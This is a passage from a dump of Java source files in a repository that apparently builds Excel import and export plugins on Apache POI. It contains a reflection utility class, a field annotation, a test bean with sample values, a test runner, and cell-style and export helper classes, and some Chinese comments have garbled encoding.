    "content": "/**\n * Copyright (c) 2005-2012 springside.org.cn\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n */\npackage com.jun.plugin.poi.impexp.excel;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.Validate;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n//import org.springframework.util.Assert;\n\n/**\n * 反射工具\n * 提供调用getter/setter方法, 访问私有变量, 调用私有方法, 获取泛型类型Class, 被AOP过的真实类等工具函数.\n */\npublic class Reflections {\n\tprivate static final String SETTER_PREFIX = \"set\";\n\n\tprivate static final String GETTER_PREFIX = \"get\";\n\n\tprivate static final String CGLIB_CLASS_SEPARATOR = \"$$\";\n\n\tprivate static Logger Logger = LoggerFactory.getLogger(Reflections.class);\n\n\t/**\n\t * 调用Getter方法.\n\t */\n\tpublic static Object invokeGetter(Object obj, String propertyName) {\n\t\tString getterMethodName = GETTER_PREFIX + StringUtils.capitalize(propertyName);\n\t\treturn invokeMethod(obj, getterMethodName, new Class[] {}, new Object[] {});\n\t}\n\n\t/**\n\t * 调用Setter方法, 仅匹配方法名�?\t */\n\tpublic static void invokeSetter(Object obj, String propertyName, Object value) {\n\t\tString setterMethodName = SETTER_PREFIX + StringUtils.capitalize(propertyName);\n\t\tinvokeMethodByName(obj, setterMethodName, new Object[] { value });\n\t}\n\n\t/**\n\t * 直接读取对象属�?�? 无视private/protected修饰�? 不经过getter函数.\n\t */\n\tpublic static Object getFieldValue(final Object obj, final String fieldName) {\n\t\tField field = getAccessibleField(obj, fieldName);\n\n\t\tif (field == null) {\n\t\t\tthrow new IllegalArgumentException(\"Could not find field [\" + fieldName + \"] on target [\" + obj + \"]\");\n\t\t}\n\n\t\tObject result = null;\n\t\ttry {\n\t\t\tresult = field.get(obj);\n\t\t} catch (IllegalAccessException e) {\n\t\t\tLogger.error(\"不可能抛出的异常{}\", e.getMessage());\n\t\t}\n\t\treturn result;\n\t}\n\n\t/**\n\t * 直接设置对象属�?�? 无视private/protected修饰�? 不经过setter函数.\n\t */\n\tpublic static void setFieldValue(final Object obj, final String fieldName, final Object value) {\n\t\tField field = getAccessibleField(obj, fieldName);\n\n\t\tif (field == null) {\n\t\t\tthrow new IllegalArgumentException(\"Could not find field [\" + fieldName + \"] on target [\" + obj + \"]\");\n\t\t}\n\n\t\ttry {\n\t\t\tfield.set(obj, value);\n\t\t} catch (IllegalAccessException e) {\n\t\t\tLogger.error(\"不可能抛出的异常:{}\", e.getMessage());\n\t\t}\n\t}\n\n\t/**\n\t * 直接调用对象方法, 无视private/protected修饰�?\n\t * 用于�?��性调用的情况，否则应使用getAccessibleMethod()函数获得Method后反复调�?\n\t * 同时匹配方法�?参数类型�?\t */\n\tpublic static Object invokeMethod(final Object obj, final String methodName, final Class<?>[] parameterTypes,\n\t\t\tfinal Object[] args) {\n\t\tMethod method = getAccessibleMethod(obj, methodName, parameterTypes);\n\t\tif (method == null) {\n\t\t\tthrow new IllegalArgumentException(\"Could not find method [\" + methodName + \"] on target [\" + obj + \"]\");\n\t\t}\n\n\t\ttry {\n\t\t\treturn method.invoke(obj, args);\n\t\t} catch (Exception e) {\n\t\t\tthrow convertReflectionExceptionToUnchecked(e);\n\t\t}\n\t}\n\n\t/**\n\t * 直接调用对象方法, 无视private/protected修饰符，\n\t * 用于�?��性调用的情况，否则应使用getAccessibleMethodByName()函数获得Method后反复调�?\n\t * 只匹配函数名，如果有多个同名函数调用第一个�?\n\t */\n\tpublic static Object invokeMethodByName(final Object obj, final String methodName, final Object[] args) {\n\t\tMethod method = getAccessibleMethodByName(obj, methodName);\n\t\tif (method == null) {\n\t\t\tthrow new IllegalArgumentException(\"Could not find method [\" + methodName + \"] on target [\" + obj + \"]\");\n\t\t}\n\n\t\ttry {\n\t\t\treturn method.invoke(obj, args);\n\t\t} catch (Exception e) {\n\t\t\tthrow convertReflectionExceptionToUnchecked(e);\n\t\t}\n\t}\n\n\t/**\n\t * 循环向上转型, 获取对象的DeclaredField, 并强制设置为可访�?\n\t * \n\t * 如向上转型到Object仍无法找�? 返回null.\n\t */\n\tpublic static Field getAccessibleField(final Object obj, final String fieldName) {\n\t\tValidate.notNull(obj, \"object can't be null\");\n\t\tValidate.notBlank(fieldName, \"fieldName can't be blank\");\n\t\tfor (Class<?> superClass = obj.getClass(); superClass != Object.class; superClass = superClass.getSuperclass()) {\n\t\t\ttry {\n\t\t\t\tField field = superClass.getDeclaredField(fieldName);\n\t\t\t\tmakeAccessible(field);\n\t\t\t\treturn field;\n\t\t\t} catch (NoSuchFieldException e) {//NOSONAR\n\t\t\t\t// Field不在当前类定�?继续向上转型\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 循环向上转型, 获取对象的DeclaredMethod,并强制设置为可访�?\n\t * 如向上转型到Object仍无法找�? 返回null.\n\t * 匹配函数�?参数类型�?\t * \n\t * 用于方法�?��被多次调用的情况. 先使用本函数先取得Method,然后调用Method.invoke(Object obj, Object... args)\n\t */\n\tpublic static Method getAccessibleMethod(final Object obj, final String methodName,\n\t\t\tfinal Class<?>... parameterTypes) {\n\t\tValidate.notNull(obj, \"object can't be null\");\n\t\tValidate.notBlank(methodName, \"methodName can't be blank\");\n\n\t\tfor (Class<?> searchType = obj.getClass(); searchType != Object.class; searchType = searchType.getSuperclass()) {\n\t\t\ttry {\n\t\t\t\tMethod method = searchType.getDeclaredMethod(methodName, parameterTypes);\n\t\t\t\tmakeAccessible(method);\n\t\t\t\treturn method;\n\t\t\t} catch (NoSuchMethodException e) {\n\t\t\t\t// Method不在当前类定�?继续向上转型\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 循环向上转型, 获取对象的DeclaredMethod,并强制设置为可访�?\n\t * 如向上转型到Object仍无法找�? 返回null.\n\t * 只匹配函数名�?\t * \n\t * 用于方法�?��被多次调用的情况. 先使用本函数先取得Method,然后调用Method.invoke(Object obj, Object... args)\n\t */\n\tpublic static Method getAccessibleMethodByName(final Object obj, final String methodName) {\n\t\tValidate.notNull(obj, \"object can't be null\");\n\t\tValidate.notBlank(methodName, \"methodName can't be blank\");\n\n\t\tfor (Class<?> searchType = obj.getClass(); searchType != Object.class; searchType = searchType.getSuperclass()) {\n\t\t\tMethod[] methods = searchType.getDeclaredMethods();\n\t\t\tfor (Method method : methods) {\n\t\t\t\tif (method.getName().equals(methodName)) {\n\t\t\t\t\tmakeAccessible(method);\n\t\t\t\t\treturn method;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 改变private/protected的方法为public，尽量不调用实际改动的语句，避免JDK的SecurityManager抱�?�?\t */\n\tpublic static void makeAccessible(Method method) {\n\t\tif ((!Modifier.isPublic(method.getModifiers()) || !Modifier.isPublic(method.getDeclaringClass().getModifiers()))\n\t\t\t\t&& !method.isAccessible()) {\n\t\t\tmethod.setAccessible(true);\n\t\t}\n\t}\n\n\t/**\n\t * 改变private/protected的成员变量为public，尽量不调用实际改动的语句，避免JDK的SecurityManager抱�?�?\t */\n\tpublic static void makeAccessible(Field field) {\n\t\tif ((!Modifier.isPublic(field.getModifiers()) || !Modifier.isPublic(field.getDeclaringClass().getModifiers()) || Modifier\n\t\t\t\t.isFinal(field.getModifiers())) && !field.isAccessible()) {\n\t\t\tfield.setAccessible(true);\n\t\t}\n\t}\n\n\t/**\n\t * 通过反射, 获得Class定义中声明的泛型参数的类�? 注意泛型必须定义在父类处\n\t * 如无法找�? 返回Object.class.\n\t * eg.\n\t * public UserDao extends HibernateDao<User>\n\t *\n\t * @param clazz The class to introspect\n\t * @return the first generic declaration, or Object.class if cannot be determined\n\t */\n\tpublic static <T> Class<T> getClassGenricType(final Class clazz) {\n\t\treturn getClassGenricType(clazz, 0);\n\t}\n\n\t/**\n\t * 通过反射, 获得Class定义中声明的父类的泛型参数的类型.\n\t * 如无法找�? 返回Object.class.\n\t * \n\t * 如public UserDao extends HibernateDao<User,Long>\n\t *\n\t * @param clazz clazz The class to introspect\n\t * @param index the Index of the generic ddeclaration,start from 0.\n\t * @return the index generic declaration, or Object.class if cannot be determined\n\t */\n\tpublic static Class getClassGenricType(final Class clazz, final int index) {\n\n\t\tType genType = clazz.getGenericSuperclass();\n\n\t\tif (!(genType instanceof ParameterizedType)) {\n\t\t\tLogger.warn(clazz.getSimpleName() + \"'s superclass not ParameterizedType\");\n\t\t\treturn Object.class;\n\t\t}\n\n\t\tType[] params = ((ParameterizedType) genType).getActualTypeArguments();\n\n\t\tif (index >= params.length || index < 0) {\n\t\t\tLogger.warn(\"Index: \" + index + \", Size of \" + clazz.getSimpleName() + \"'s Parameterized Type: \"\n\t\t\t\t\t+ params.length);\n\t\t\treturn Object.class;\n\t\t}\n\t\tif (!(params[index] instanceof Class)) {\n\t\t\tLogger.warn(clazz.getSimpleName() + \" not set the actual class on superclass generic parameter\");\n\t\t\treturn Object.class;\n\t\t}\n\n\t\treturn (Class) params[index];\n\t}\n\n\tpublic static Class<?> getUserClass(Object instance) {\n\t//\tAssert.notNull(instance, \"Instance must not be null\");\n\t\tClass clazz = instance.getClass();\n\t\tif (clazz != null && clazz.getName().contains(CGLIB_CLASS_SEPARATOR)) {\n\t\t\tClass<?> superClass = clazz.getSuperclass();\n\t\t\tif (superClass != null && !Object.class.equals(superClass)) {\n\t\t\t\treturn superClass;\n\t\t\t}\n\t\t}\n\t\treturn clazz;\n\n\t}\n\n\t/**\n\t * 将反射时的checked exception转换为unchecked exception.\n\t */\n\tpublic static RuntimeException convertReflectionExceptionToUnchecked(Exception e) {\n\t\tif (e instanceof IllegalAccessException || e instanceof IllegalArgumentException\n\t\t\t\t|| e instanceof NoSuchMethodException) {\n\t\t\treturn new IllegalArgumentException(e);\n\t\t} else if (e instanceof InvocationTargetException) {\n\t\t\treturn new RuntimeException(((InvocationTargetException) e).getTargetException());\n\t\t} else if (e instanceof RuntimeException) {\n\t\t\treturn (RuntimeException) e;\n\t\t}\n\t\treturn new RuntimeException(\"Unexpected Checked Exception.\", e);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/annotation/ExcelField.java",
    "content": "/**\n *\n */\npackage com.jun.plugin.poi.impexp.excel.annotation;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * Excel注解定义\n */\n@Target({ElementType.METHOD, ElementType.FIELD, ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface ExcelField {\n\n\t/**\n\t * 导出字段名（默认调用当前字段的�?get”方法，如指定导出字段为对象，请填写“对象名.对象属�?”，例：“area.name”�?“office.name”）\n\t */\n\tString value() default \"\";\n\t\n\t/**\n\t * 导出字段标题（需要添加批注请用�?**”分隔，标题**批注，仅对导出模板有效）\n\t */\n\tString title();\n\t\n\t/**\n\t * 字段类型�?：导出导入；1：仅导出�?：仅导入�?\t */\n\tint type() default 0;\n\n\t/**\n\t * 导出字段对齐方式�?：自动；1：靠左；2：居中；3：靠右）\n\t */\n\tint align() default 0;\n\t\n\tint width() default 3000;\n\t\n\t/**\n\t * 导出字段字段排序（升序）\n\t */\n\tint sort() default 0;\n\n\t/**\n\t * 如果是字典类型，请设置字典的type�?\t */\n\tString dictType() default \"\";\n\t\n\t/**\n\t * 反射类型\n\t */\n\tClass<?> fieldType() default Class.class;\n\t\n\t/**\n\t * 字段归属组（根据分组导出导入�?\t */\n\tint[] groups() default {};\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/test/MyBean.java",
    "content": "package com.jun.plugin.poi.impexp.test;\n\nimport java.util.Date;\n\nimport com.jun.plugin.poi.impexp.excel.annotation.ExcelField;\n\n\n//只支持注解属性\npublic class MyBean {\n\t\n\t@ExcelField(title=\"姓名\",groups=1,sort=1,width=3000)private String name = \"闪电球\";\n\t\n\t@ExcelField(title=\"年龄\",groups=1,sort=2,width=4000)private Integer age = 19;\n\t\n\t@ExcelField(title=\"生日\",groups=2,sort=3,width=5000)private Date brithDate = new Date();\n\n\t@ExcelField(title=\"手机号\",groups=2,sort=4,width=6000)private String phone = \"15912345678\";\n\t\n\t@ExcelField(title=\"地址\",groups=3,sort=5,width=5000)private String address = \"北京市广东省AAA123号\";\n\t\n\t@ExcelField(title=\"双精度\",groups=3,sort=6,width=4000)private Double d = 19.68d;\n\t\n\t@ExcelField(title=\"float\",groups=3,sort=7,width=3000)private float f = 22.222f;\n\t\n\t\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic Integer getAge() {\n\t\treturn age;\n\t}\n\tpublic void setAge(Integer age) {\n\t\tthis.age = age;\n\t}\n\tpublic Date getBrithDate() {\n\t\treturn brithDate;\n\t}\n\tpublic void setBrithDate(Date brithDate) {\n\t\tthis.brithDate = brithDate;\n\t}\n\tpublic String getPhone() {\n\t\treturn phone;\n\t}\n\tpublic void setPhone(String phone) {\n\t\tthis.phone = phone;\n\t}\n\tpublic String getAddress() {\n\t\treturn address;\n\t}\n\tpublic void setAddress(String address) {\n\t\tthis.address = address;\n\t}\n\tpublic Double getD() {\n\t\treturn d;\n\t}\n\tpublic void setD(Double d) {\n\t\tthis.d = d;\n\t}\n\tpublic float getF() {\n\t\treturn f;\n\t}\n\tpublic void setF(float f) {\n\t\tthis.f = f;\n\t}\n\t\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/test/Test.java",
    "content": "package com.jun.plugin.poi.impexp.test;\n\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.poi.ss.usermodel.Row;\n\nimport com.jun.plugin.poi.impexp.excel.BeanExport;\nimport com.jun.plugin.poi.impexp.excel.ExportExcel;\nimport com.jun.plugin.poi.impexp.excel.ImportExcel;\nimport com.jun.plugin.poi.impexp.excel.MapExport;\nimport com.jun.plugin.poi.impexp.excel.MapHeader;\n\n\npublic class Test {\n\n\tpublic static void main(String[] arg) throws Throwable{\n\n//\t\ttestBean();\n//\t\ttestMap();\n\t\timportExcel();\n\t}\n\t\n\tpublic static void testBean() throws FileNotFoundException, IOException{\n\t\tList<MyBean> l = new ArrayList<MyBean>();\n\t\tfor(int i=0;i<100;i++){\n\t\t\tl.add(new MyBean());\n\t\t}\n\t\t\n\t\t\n\t\tBeanExport be = ExportExcel.BeanExport(MyBean.class);\n\t\tbe.createBeanSheet(\"1月份\", \"1月份人员信息\").addData(l);\n\t\tbe.createBeanSheet(\"2月份\",\"2月份人员信息\").addData(l);\n\t\tbe.writeFile(\"D:/bean人员信息8.xlsx\");\n\t}\n\t\n\tpublic static void testMap () throws FileNotFoundException, IOException{\n\t\tList<MapHeader> l  = new ArrayList<MapHeader>();\n\t\tl.add(new MapHeader(\"姓名\",\"name\",5000));\n\t\tl.add(new MapHeader(\"年龄\",\"age\",4000));\n\t\tl.add(new MapHeader(\"生日\",\"birthdate\",3000));\n\t\tl.add(new MapHeader(\"地址\",\"address\",5000));\n\t\tl.add(new MapHeader(\"双精度\",\"d\",4000));\n\t\tl.add(new MapHeader(\"float\",\"f\",6000));\n\t\t\n\t\tList<Map<String,Object>> lm = new ArrayList<Map<String,Object>>();\n\t\tfor(int i=0;i<100;i++){\n\t\t\tMap<String,Object> map = new HashMap<String, Object>();\n\t\t\tmap.put(\"name\",\"闪电球\");\n\t\t\tmap.put(\"age\",100);\n\t\t\tmap.put(\"birthdate\",new Date());\n\t\t\tmap.put(\"address\",\"北京市广东省AAA号123楼!\");\n\t\t\tmap.put(\"d\",22.222d);\n\t\t\tmap.put(\"f\",295.22f);\n\t\t\tlm.add(map);\n\t\t}\n\t\n\t\t\n\t\t\n\t\tMapExport me  = ExportExcel.mapExport(l);\n\t\tme.createMapSheel(\"1月份\",\"广东省人员信息\").addData(lm);\n\t\tme.createMapSheel(\"2月份\", \"北京市人员信息\").addData(lm);\n\t\tme.writeFile(\"D:/map人员信息9.xlsx\");\n\t}\n\t\n\t\n\t/**\n\t * 导入测试\n\t */\n\tpublic static void importExcel() throws Throwable {\n\t\tImportExcel ei = new ImportExcel(\"D:/map人员信息9.xlsx\", 1);\n\t\tfor (int i = ei.getDataRowNum(); i < ei.getLastDataRowNum(); i++) {\n\t\t\tRow row = ei.getRow(i);\n\t\t\tfor (int j = 0; j < ei.getLastCellNum(); j++) {\n\t\t\t\tObject val = ei.getCellValue(row, j);\n\t\t\t\tSystem.out.print(val+\", \");\n\t\t\t}\n\t\t\tSystem.out.print(\"\\n\");\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/learn/CellStyles.java",
    "content": "package com.jun.plugin.poi.learn;\n\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic interface CellStyles {\n\t\n\tvoid setWorkBook(Workbook workbook);\n\t\n\t/**\n\t * 标题样式\n\t * @return\n\t */\n\tCellStyle getHeaderStyle();\n\t\n\t/**\n\t * String样式\n\t * @return\n\t */\n\tCellStyle getStringStyle();\n\t\n\t/**\n\t * 日期样式\n\t * @return\n\t */\n\tCellStyle getDateStyle();\n\t\n\t/**\n\t * 数字样式\n\t * @return\n\t */\n\tCellStyle getNumberStyle();\n\n\t/**\n\t * 合计列样式\n\t * @return\n\t */\n\tCellStyle getFormulaStyle();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/learn/DefaultCellStyles.java",
    "content": "package com.jun.plugin.poi.learn;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.DataFormat;\nimport org.apache.poi.ss.usermodel.Font;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Workbook;\n\npublic class DefaultCellStyles implements CellStyles {\n\t\n\tprotected Workbook wb;\n\t\n\tprivate Map<ExcelStyle, CellStyle> styles;\n\t\n\tpublic enum ExcelStyle {\n\t\tHEADER_CELL(\"headerCell\"), \n\t\tSTRING_CELL(\"stringCell\"), \n\t\tDEATE_CELL(\"dateCell\"), \n\t\tNUMBER_CELL(\"numberCell\"), \n\t\tTOTAL_CELL(\"totalCell\"), \n\t\tBOLD_TITLE_CELL(\"boldTitleCell\");\n\t\t\n\t\tprivate final String style;\n\n\t\tExcelStyle(String style) {\n\t\t\tthis.style = style;\n\t\t}\n\n\t\tpublic String getStyle() {\n\t\t\treturn this.style;\n\t\t}\n\t}\n\n\tpublic enum ExcelFormat {\n\t\tDATE(\"yyyy-MM-dd\"), \n\t\tDATETIME(\"yyyy-MM-dd HH:mm:ss\"),\n\t\tNUMBER(\"0.00\"), \n\t\tCURRENCY(\"#,##0.00\"), \n\t\tPERCENT(\"0.00%\");\n\t\tprivate final String pattern;\n\n\t\tExcelFormat(String pattern) {\n\t\t\tthis.pattern = pattern;\n\t\t}\n\n\t\tpublic String getPattern() {\n\t\t\treturn this.pattern;\n\t\t}\n\t}\n\t\n\tpublic DefaultCellStyles(Workbook workbook) {\n\t\tthis.wb = workbook;\n\t\tthis.styles = createStyles();\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#setWorkBook(org.apache.poi.ss.usermodel.Workbook)\n\t */\n\t@Override\n\tpublic void setWorkBook(Workbook workbook) {\n\t\tthis.wb = workbook;\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#getHeaderStyle()\n\t */\n\t@Override\n\tpublic CellStyle getHeaderStyle() {\n\t\treturn styles.get(ExcelStyle.HEADER_CELL);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#getStringStyle()\n\t */\n\t@Override\n\tpublic CellStyle getStringStyle() {\n\t\treturn styles.get(ExcelStyle.STRING_CELL);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#getDateStyle()\n\t */\n\t@Override\n\tpublic CellStyle getDateStyle() {\n\t\treturn styles.get(ExcelStyle.DEATE_CELL);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#getNumberStyle()\n\t */\n\t@Override\n\tpublic CellStyle getNumberStyle() {\n\t\treturn styles.get(ExcelStyle.NUMBER_CELL);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#getFormulaStyle()\n\t */\n\t@Override\n\tpublic CellStyle getFormulaStyle() {\n\t\treturn styles.get(ExcelStyle.TOTAL_CELL);\n\t}\n\n\tprotected Map<ExcelStyle, CellStyle> createStyles() {\n\t\tMap<ExcelStyle, CellStyle> styles = new HashMap<ExcelStyle, CellStyle>();\n\t\tDataFormat df = wb.createDataFormat();\n\n\t\t// --字体设定 --//\n\n\t\t//普通字体\n\t\tFont normalFont = wb.createFont();\n\t\tnormalFont.setFontHeightInPoints((short) 10);\n\n\t\t//加粗字体\n\t\tFont boldFont = wb.createFont();\n\t\tboldFont.setFontHeightInPoints((short) 10);\n\t\tboldFont.setBoldweight(Font.BOLDWEIGHT_BOLD);\n\t\t\n\t\t//加粗标题字体\n\t\tFont boldTitleFont = wb.createFont();\n\t\tboldTitleFont.setFontHeightInPoints((short) 14);\n\t\tboldTitleFont.setBoldweight(Font.BOLDWEIGHT_BOLD);\n\n\t\t//蓝色加粗字体\n\t\tFont blueBoldFont = wb.createFont();\n\t\tblueBoldFont.setFontHeightInPoints((short) 10);\n\t\tblueBoldFont.setBoldweight(Font.BOLDWEIGHT_BOLD);\n\t\tblueBoldFont.setColor(IndexedColors.BLUE.getIndex());\n\n\t\t// --Cell Style设定-- //\n\t\t\n\t\t//加粗标题格式\n\t\tCellStyle boldTitleStyle = wb.createCellStyle();\n\t\tboldTitleStyle.setFont(boldTitleFont);\n\t\tboldTitleStyle.setAlignment(CellStyle.ALIGN_CENTER);\n\t\tboldTitleStyle.setVerticalAlignment(CellStyle.ALIGN_CENTER);\n\t\t//setBorder(boldTitleStyle);\n\t\tstyles.put(ExcelStyle.BOLD_TITLE_CELL, boldTitleStyle);\n\n\t\t//标题格式\n\t\tCellStyle headerStyle = wb.createCellStyle();\n\t\theaderStyle.setFont(boldFont);\n\t\theaderStyle.setFont(normalFont);\n\t\theaderStyle.setAlignment(CellStyle.ALIGN_CENTER);\n\t\theaderStyle.setVerticalAlignment(CellStyle.ALIGN_CENTER);\n\t\tsetBorder(headerStyle);\n\t\tstyles.put(ExcelStyle.HEADER_CELL, headerStyle);\n\t\t\n\t\t//String格式\n\t\tCellStyle stringStyle = wb.createCellStyle();\n\t\tstringStyle.setFont(normalFont);\n\t\tsetBorder(stringStyle);\n\t\tstyles.put(ExcelStyle.STRING_CELL, stringStyle);\n\n\t\t//日期格式\n\t\tCellStyle dateCellStyle = wb.createCellStyle();\n\t\tdateCellStyle.setFont(normalFont);\n\t\tdateCellStyle.setDataFormat(df.getFormat(ExcelFormat.DATE.getPattern()));\n\t\tsetBorder(dateCellStyle);\n\t\tstyles.put(ExcelStyle.DEATE_CELL, dateCellStyle);\n\n\t\t//数字格式\n\t\tCellStyle numberCellStyle = wb.createCellStyle();\n\t\tnumberCellStyle.setFont(normalFont);\n\t\tnumberCellStyle.setDataFormat(df.getFormat(ExcelFormat.NUMBER.getPattern()));\n\t\tsetBorder(numberCellStyle);\n\t\tstyles.put(ExcelStyle.NUMBER_CELL, numberCellStyle);\n\n\t\t//合计列格式\n\t\tCellStyle totalStyle = wb.createCellStyle();\n\t\ttotalStyle.setFont(blueBoldFont);\n\t\ttotalStyle.setWrapText(true);\n\t\ttotalStyle.setAlignment(CellStyle.ALIGN_CENTER);\n\t\tsetBorder(totalStyle);\n\t\tstyles.put(ExcelStyle.TOTAL_CELL, totalStyle);\n\n\t\treturn styles;\n\t}\n\n\tprotected void setBorder(CellStyle style) {\n\t\t//设置边框\n\t\tstyle.setBorderRight(CellStyle.BORDER_THIN);\n\t\tstyle.setRightBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderLeft(CellStyle.BORDER_THIN);\n\t\tstyle.setLeftBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderTop(CellStyle.BORDER_THIN);\n\t\tstyle.setTopBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderBottom(CellStyle.BORDER_THIN);\n\t\tstyle.setBottomBorderColor(IndexedColors.BLACK.getIndex());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/learn/ExcelExportHelper.java",
    "content": "package com.jun.plugin.poi.learn;\n\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Date;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.poifs.filesystem.POIFSFileSystem;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\npublic class ExcelExportHelper {\n\n\t// 设置cell编码解决中文高位字节截断\n\t// private static short XLS_ENCODING = HSSFWorkbook.ENCODING_UTF_16;\n\n\tprivate Workbook workbook;\n\n\tprivate Sheet sheet;\n\n\tprivate Row row;\n\t\n\tprivate CellStyles cellStyles;\n\t\n\tprivate int rowIndex = 0;\n\t\n\tpublic enum ExcelType {\n\t\tXLS(\"xls\"),\n\t\tXLSX(\"xlsx\");\n\t\t\n\t\tprivate final String type;\n\n\t\tExcelType(String type) {\n\t\t\tthis.type = type;\n\t\t}\n\n\t\tpublic String getType() {\n\t\t\treturn this.type;\n\t\t}\n\t}\n\t\n\tpublic ExcelExportHelper() {\n\t\tthis.workbook = new HSSFWorkbook();\n\t\tthis.sheet = workbook.createSheet();\n\t\t\n\t\tcellStyles = new DefaultCellStyles(workbook);\n\t}\n\t\n\tpublic ExcelExportHelper(ExcelType excelType) {\n\t\tswitch (excelType) {\n\t\tcase XLS:\n\t\t\tthis.workbook = new HSSFWorkbook();\n\t\t\tbreak;\n\t\tcase XLSX:\n\t\t\tthis.workbook = new XSSFWorkbook();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tthis.workbook = new HSSFWorkbook();\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\tthis.sheet = workbook.createSheet();\n\t}\n\n\tpublic ExcelExportHelper(String file) {\n\t\ttry {\n\t\t\tInputStream input = new FileInputStream(file);\n\t\t\t\n\t\t\tint end = file.lastIndexOf(\".\");\n\t\t\tString ext = file.substring(end+1);\n\t\t\t\n\t\t\tif (ext.equalsIgnoreCase(ExcelType.XLS.getType())) {\n\t\t\t\tPOIFSFileSystem fs = new POIFSFileSystem(input);\n\t\t\t\tthis.workbook = new HSSFWorkbook(fs);\n\t\t\t} else if (ext.equalsIgnoreCase(ExcelType.XLSX.getType())) {\n\t\t\t\tthis.workbook = new XSSFWorkbook(input);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t\tthis.sheet = workbook.createSheet();\n\t}\n\n\t/**\n\t * 导出Excel文件\n\t * \n\t * @throws XLSException\n\t */\n\tpublic void export(String xlsFileName) throws RuntimeException {\n\t\tFileOutputStream fOut = null;\n\t\ttry {\n\t\t\tfOut = new FileOutputStream(xlsFileName);\n\t\t\tworkbook.write(fOut);\n\t\t\tfOut.flush();\n\t\t} catch (FileNotFoundException e) {\n\t\t\tthrow new RuntimeException(\"生成导出Excel文件出错!\", e);\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(\"写入Excel文件出错!\", e);\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (fOut != null)\n\t\t\t\t\tfOut.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void export(OutputStream os) throws RuntimeException {\n\t\ttry {\n\t\t\tworkbook.write(os);\n\t\t\tos.flush();\n\t\t} catch (FileNotFoundException e) {\n\t\t\tthrow new RuntimeException(\"生成导出Excel文件出错!\", e);\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(\"写入Excel文件出错!\", e);\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (os != null)\n\t\t\t\t\tos.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, String value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, String value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCell(index, value, cellStyles.getStringStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, 